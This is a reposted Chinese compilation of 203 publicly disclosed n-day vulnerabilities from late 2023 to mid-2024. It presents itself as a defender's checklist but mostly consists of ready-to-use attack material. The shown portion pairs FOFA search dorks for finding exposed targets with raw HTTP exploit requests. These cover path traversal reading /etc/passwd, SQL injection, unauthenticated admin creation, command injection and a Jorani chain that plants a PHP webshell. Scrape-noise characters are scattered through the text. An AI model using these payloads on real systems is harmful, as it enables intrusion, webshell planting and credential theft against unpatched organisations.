互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
7 [8 i7 H% v! `) }/ O* f- Z道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
6 d# ^* c/ W3 W. a- k3 H
" p: C6 G7 s2 O! Z7 I漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

) \) i9 H+ P# y( c$ ~6 @% O安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
4 K8 f( Y" J8 E6 B* Z* H
/ M4 ~( W# W) f. T+ d7 ^; v& t文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
/ \* h- B' b7 k" t6 H& U0 e

声明
+ I6 B. J& Z3 T+ k0 C) R
5 f! d# R6 u) t为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
8 n; G/ X8 J; K) O
( t. k  E0 c1 q4 M5 q4 s有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


4 B9 I+ W- ?6 @) \. x
目录

01
- h, p  g7 _" a+ G) }0 _5 Q& q
8 ?! |! M9 A2 w4 Y* u% L1. StarRocks MPP数据库未授权访问
1 X  m6 K6 e% w) h+ L0 N2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
! \3 E4 o! B/ ]* ^5 y4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
' \3 P# p3 L6 m6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
# ?. \* E' N/ R( b' F( G8. 斐讯 Phicomm 路由器RCE
. ?$ ^+ D  c3 A$ r/ {9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
8 @0 V' Q$ y, k0 n11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
) z$ q2 ^9 s( E$ T- [2 M12. Jorani < 1.0.2 远程命令执行
2 M  H# L/ d2 v+ t& ~1 Q2 C; m13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
/ a  ^: w! H, s8 {; Z+ j15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
) w" o! Y- I0 X! J/ W18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
. N# i! I1 Z  Z  a$ K  J! a" ?% u$ q19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
% z6 Y" k" s+ v/ [$ F21. 大华ICC智能物联综合管理平台random远程代码执行
+ ]) T0 e2 p4 M- `& g9 l& V6 ~: B22. 大华ICC智能物联综合管理平台 log4j远程代码执行
5 f2 r% S& Q% @$ o5 w23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
  @" O3 C3 L2 U4 u' ~" _  o26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
5 W! T7 m/ ]. t) ^/ F* d7 X6 J# ^$ B* {28. 用友NC grouptemplet 任意文件上传
, [( U" `+ u5 S* I. W29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
- a9 O' K4 ?: S31. 用友NC runStateServlet SQL注入
4 ~, J  G1 o2 `32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
$ `/ a3 ]0 S1 N# U  S35. 用友NC-Cloud importhttpscer任意文件上传
# x' u( b" w/ D- R" u" X  Q; Q3 }36. 用友NC-Cloud soapFormat XXE
# J7 d8 u. W7 Z- [/ B37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
+ _. [! }6 J  b( b40. 用友U8-Cloud XChangeServlet XXE
+ U' f* L  ^6 v8 W. D41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
3 J9 e  U! n1 S42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
$ @! j2 N2 Z; M, e* i* h46. 用友GRP-U8 sqcxIndex.jsp SQL注入
2 x4 _5 |4 X- o: }% s47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
! l* L' S0 N0 ~2 q0 O49. 用友U8 CRM系统uploadfile.php接口任意文件上传
  ~( O5 ~; p; J. _50. QDocs Smart School 6.4.1 filterRecords SQL注入
9 A: x% _: ^# m* E. B# U2 P51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
; I2 b2 Z0 v# y+ y9 P7 B52. 泛微E-Office json_common.php sql注入
; }3 |* [& x; h5 }; o% f5 \- R6 n53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
* v0 ?* M1 G, g0 i# e( c55. 畅捷通T+ getdecallusers信息泄露
$ ]2 f5 B3 N3 @& h# n) I56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
! i( G0 c* D+ m" I! l57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
! a" a" f9 l3 A/ ^: J3 }( g60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
* @3 x4 a3 i, ]  y, s64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
7 s$ F3 I) S9 h0 a, _# H/ q$ w68. 万户ezOFFICE wf_printnum.jsp SQL注入
. K, O8 _- {1 Z6 Y# R6 x69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
" [: A4 [5 X7 z72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
% D  p0 ]6 X. g: K' ~0 O74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
1 p+ X; k/ K% i! D8 s# J77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
$ m( f+ `. u1 Q$ Q1 u: O79. BYTEVALUE 百为流控路由器远程命令执行
$ L  }1 \4 e  K, N& B" ?  r6 a+ p80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
( ]" g. S5 Q4 O) S8 h$ P) g% P83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
$ c1 w- ^; r: S0 G! L' L/ L86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
3 p, G3 {/ h- B6 o4 }97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
" r& ^$ W) G" I2 l' R) E" Z! B99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
& A, R( P2 a9 j, n( a% q101. ivanti policy secure-22.6命令注入
. l. T  a9 W. K2 o' F: O102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
, V4 O# a0 V' v) R) ~0 r105. SpringBlade v3.2.0 export-user SQL 注入
1 g2 S* r; h8 G9 b7 S$ \106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
& H4 P  e; ]4 H4 s  Y; n+ U6 Q# Y108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
8 _1 [8 l# q" Z/ E5 ~112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
6 U( G' I- Z* f' Q- t0 d1 {114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
& ^% b, j2 ^+ X: T( M' A117. WordPress LayerSlider插件SQL注入
; l+ ]. j& n5 \5 r8 m, |118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
# P* ]/ T$ d8 W5 ~6 c7 E- n: i122. 北京百绰智能s200管理平台/importexport.php sql注入
( l5 Y; U4 f+ `9 `' {123. Atlassian Confluence 模板注入代码执行
1 |, H" B( @# e2 |6 {124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
, t- x* G3 j8 G% N# l128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
0 F2 P; K% L! W+ Y130. Laykefu客服系统任意文件上传
- O; v, ]6 ?6 K% T; P; j131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
: H4 i6 `. T& G  _2 M" i133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
% G* i2 i7 |2 s, E- r9 ?2 \2 j136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
. `7 l! ]9 {+ Q, V( K+ Y1 ]% n139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
4 u4 w9 f/ n, Y( t! X141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
. G5 E/ b4 I( d% T# b' r- g; A142. CMSV6车辆监控平台系统中存在弱密码
/ j( T" m% {5 |& f( w143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
# C% R: _! ]% ?  j  D+ F, k148. CrushFTP 认证绕过模板注入
" R7 c, B3 Q4 d) o6 {2 A0 m149. AJ-Report开源数据大屏存在远程命令执行
  n9 H; d# M( r$ a& a( Q" M150. AJ-Report 1.4.0 认证绕过与远程代码执行
0 }" C9 t5 o( Q$ {151. AJ-Report 1.4.1 pageList sql注入
8 y8 ?3 D, @% V; w2 @( a5 [4 C1 q152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
7 J# A8 u# m! C5 h( ~+ Z8 Y) C154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
. x  L- k* V3 Q# T9 s$ G+ c  N156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
+ K* |* ]/ Z0 S  Z' G# H) l2 f5 O158. Mura-CMS-processAsyncObject存在SQL注入
+ M5 t% c, D! N% `* |1 t159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
$ Z1 w; l' L3 F0 t) C1 [160. Sonatype Nexus Repository 3目录遍历与文件读取
4 i% W7 N# [4 ^0 X161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
* W& i$ P0 d; X! K* g3 I& E163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
' F) O) e: N3 @  K. q8 [165. OrangeHRM 3.3.3 SQL 注入
9 I& S" f+ o3 F* B166. 中成科信票务管理平台SeatMapHandler SQL注入
  O2 l! H- t- g/ [9 V, X  \) i167. 精益价值管理系统 DownLoad.aspx任意文件读取
- G% ~2 L& W& y4 M1 T168. 宏景EHR OutputCode 任意文件读取
: e  ~! A+ b/ A) x- f- O- ]. F169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
. R* L/ q% V0 c3 i171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
1 g5 H1 [9 Z9 f2 W# u173. Check Point 安全网关任意文件读取
% c" P3 p7 D9 ]) Q. D+ b0 z8 D; B174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
1 ~" a0 n5 @1 ~/ Z4 d178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
2 J) Z) G, B4 j$ U6 b; ^, T8 V0 S' E: ?2 u180. 帮管客 CRM jiliyu SQL注入
- L7 R' u2 \5 i3 o5 T6 I% T/ x0 R181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
# }9 l4 g* d$ |3 P  U: {) L+ ^182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
/ C- y7 b$ |( n, ]" ~3 \183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
9 |6 a3 C  L  i. t184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
- c! z/ w2 T% S$ s: \- Z186. F-logic DataCube3 SQL注入
' Q# m# z9 u7 Z8 o0 W187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
# F3 _0 Y( a; S% r5 q8 v( {191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
9 v! u* I9 O  F9 s9 ]$ s192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
& Z% r% @# \( j193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
( w; {$ A7 W. f/ y& u- ?9 `4 P; ^194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
; P* K/ I' }2 S$ y1 V1 C195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
; |: V+ @* ^# Z197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
' D/ M+ r, h; P( }$ q6 v- H, N200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
& Z) i* e: E$ b- J. s3 z203. 红海云EHR PtFjk 文件上传

/ ?3 K5 S4 A5 x, G2 t5 s2 L' ~) B, BPOC列表

02
' V1 X9 A' ?1 E2 ]( w7 [1 Y. x( i
$ h1 k' {* Q; n6 z& f1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
5 g5 ?1 o% y' w% p1 ]Host: URL


- h( b2 S) c* t* L3 c* ]2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
' e4 j  I- Q1 d/ N0 F4 b1 kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
) ^% V# z, ^! `, ?Accept: */*
2 a( h( ]* F" s" J3 CAccept-Language: en
Accept-Encoding: gzip
5 Y! i9 O; ?6 R4 O

# I) x) F; |1 N+ h. {3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
$ H/ H5 e6 M' T0 J5 \4 ^7 d# y8 W& eHost: xx.xx.xx.xx
+ Q' t/ z/ w- I, p+ F! @( |
" A5 z- e: ^- a; Y& d7 j+ C' j
4. EasyCVR视频管理平台存在任意用户添加
, d" ~5 x) u9 ~+ j3 u/ j& V$ }8 @FOFA ：title="EasyCVR"
. B' D8 F1 X7 P# d: V% J8 F
+ Q6 t1 h# y  y2 s( J. `! Dpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

6 ~& b. K* u  j, Y7 Nname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

* G9 d- D& r, z* q
5. NUUO NVR 视频存储管理设备远程命令执行
1 I7 g, y2 W5 {6 r$ h( FFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
+ ]6 Q1 K' C1 G  F
7 i  [: a; A! u: X3 [' |% n
6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
# r; z8 n, B" j- z- M
% y  n* S2 k4 m9 B
* s, h5 d2 A0 H; ~( w- [7. 鸿运主动安全监控云平台任意文件下载
- ~- ~' \: o$ y  b( r4 C6 p9 jFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
! V& K5 a% W0 ~0 [

0 e. c# g& ^' }8. 斐讯 Phicomm 路由器RCE
. ]% u  X7 |$ v1 D; RFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
4 F, u9 j% D. f: d$ S1 @0 r' gPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
1 X3 ?+ r) V4 j' ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
9 o% s2 v# X! J+ w; q4 u  K  A" dUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
) S* P: {/ T5 ^* T8 \
%s
1 U4 R; `) C4 H4 g% [9 T. w------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
$ J$ u" o) S* I* N! |
12:00; id;
) x7 b6 j2 W4 n& h; H* I- `------WebKitFormBoundaryxbgjoytz
0 O( K: D3 G6 B# P9 w1 @; ^4 dContent-Disposition: form-data; name="wifiRebootendrange"

%s:
9 `4 H0 J: c) H4 @  S------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
# c( _: V; N" L5 t% i% k4 b7 V
2 |* q1 |7 a  e- O: g. x
------WebKitFormBoundaryxbgjoytz--
; z$ b/ u( i3 q) j
: n% I- y) \5 J
# s7 X" \) I" L0 i3 E! J9. 稻壳CMS keyword 未授权SQL注入
0 ?0 ?/ h6 L" K) }, w0 jFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
: t" `0 s# q  n7 i

payload为下列语句的二次Url编码
: k) n8 x' h( k0 t" B
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
  Y6 o  j& P( C2 U3 TFOFA：icon_hash="953405444"
" \& H/ R; K/ w% u% V3 [2 R. I8 @! ^- s" `
文件上传后响应中包含上传文件的路径
3 @4 x9 i* \9 {' fPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
9 N& Q! a) G0 }4 ~# o. lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
1 Y( x  W! w* p2 C' s' u. _! pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" k. K# U8 r. T: y7 ?8 JContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
# Y1 k0 X, l4 ^( l7 S8 ~
/ q; y! G, _. P' H5 s------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
, Q0 Z% B  E2 sContent-Type: text/html
- n6 `# G4 y& b! z
- \5 }; C: x- h& c$ y0 G0 mjmnqjfdsupxgfidopeixbgsxbf
7 z7 H7 _; D% B  J4 z0 S+ b  A------WebKitFormBoundaryxdgaqmqu--
0 B4 N2 s" u9 L

11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
2 g0 B  Y! x8 V# A# T- ?GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
* \( H8 R+ Q2 P- n' \Host: 127.0.0.1
Pragma: no-cache
7 Q& g* ]: K6 O5 f2 a- G/ VCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- c+ y. N+ L" yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
& Y7 d- E5 o! J' C2 Y) XAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
( B+ n* g  Z6 O( B& ^" P
* k5 N% r2 {5 O% W& [: S! c1 M8 f
12. Jorani < 1.0.2 远程命令执行
& j* _! M1 r  [0 a" ZFOFA：title="Jorani"
2 f, ^) B3 F- N# L* ]! }) f第一步先拿到cookie
8 R$ x/ S) D& n6 P8 B9 zGET /session/login HTTP/1.1
/ m/ k2 U- I! m% ~Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
0 t8 y% l; ?5 ~5 \* X) @! s, q% RConnection: close
# W7 W& k% [' e: Z: p3 t$ G" HAccept-Encoding: gzip

! L4 n" S/ c0 p/ ?* r
响应中csrf_cookie_jorani用于后续请求
0 p/ K8 Z/ n$ X$ {HTTP/1.1 200 OK
Connection: close
8 q. L3 Y# |% ~. {6 g, R5 rCache-Control: no-store, no-cache, must-revalidate
' l1 C, e6 Z' S! ?& B; h$ @" \Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 W5 e( c5 L: }5 w1 Y% ]; GLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
1 A$ b0 u, H  |& X9 N6 }  i6 KServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

5 M" i0 c5 I$ G5 z1 Y1 N# Q. ~5 P
POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
' {& c6 A) N- w  oConnection: close
Content-Length: 252
3 F1 E; E* `: a* r8 b# ?3 iContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

  F& ~+ N1 Y2 g* `5 F( tcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
! m. k1 H% \0 S% t
- Y6 [; o* x6 m% r  ~# ^# X* l6 s
( u! e$ t% j! ]; g6 p
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
' ^; _8 t7 q- }Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
/ G7 |" T! p* ~  k1 e1 f7 ]9 JConnection: close
; B9 \5 l1 i3 k6 I% [7 d# qCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
' V$ j  p2 ~0 n& ^Accept-Encoding: gzip
* W" I, e$ x- t% W2 ]( F2 B3 S, M

13. 红帆iOffice ioFileDown任意文件读取
" p# v7 U( C/ n( e5 D" k! x4 t9 |9 XFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
  G! k! s+ g* n& `  J7 gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
+ J3 |# Z2 n7 ?' |Connection: close
; ~# a) Y( a% N( xAccept: */*
$ D' E; C* Q9 f1 g4 L7 [$ ~Accept-Encoding: gzip
! _  g% S0 ~( i% E
! F- d2 P2 F- \% j; q
14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
& [, `% E' X( s6 Y4 {. f& m( SGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
/ k4 z& L* I: A1 q- ]) f6 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
1 y, w7 r: }, B) I: L
1 g' ~) B" m! B2 }  h
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
) H8 X$ [# f, M( s6 Q% o+ O1 K泄露内容包括用户名密码
) u- O9 O& o: \; c% BGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
* G. c. \5 T& n! F! I+ U9 X5 d8 VAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
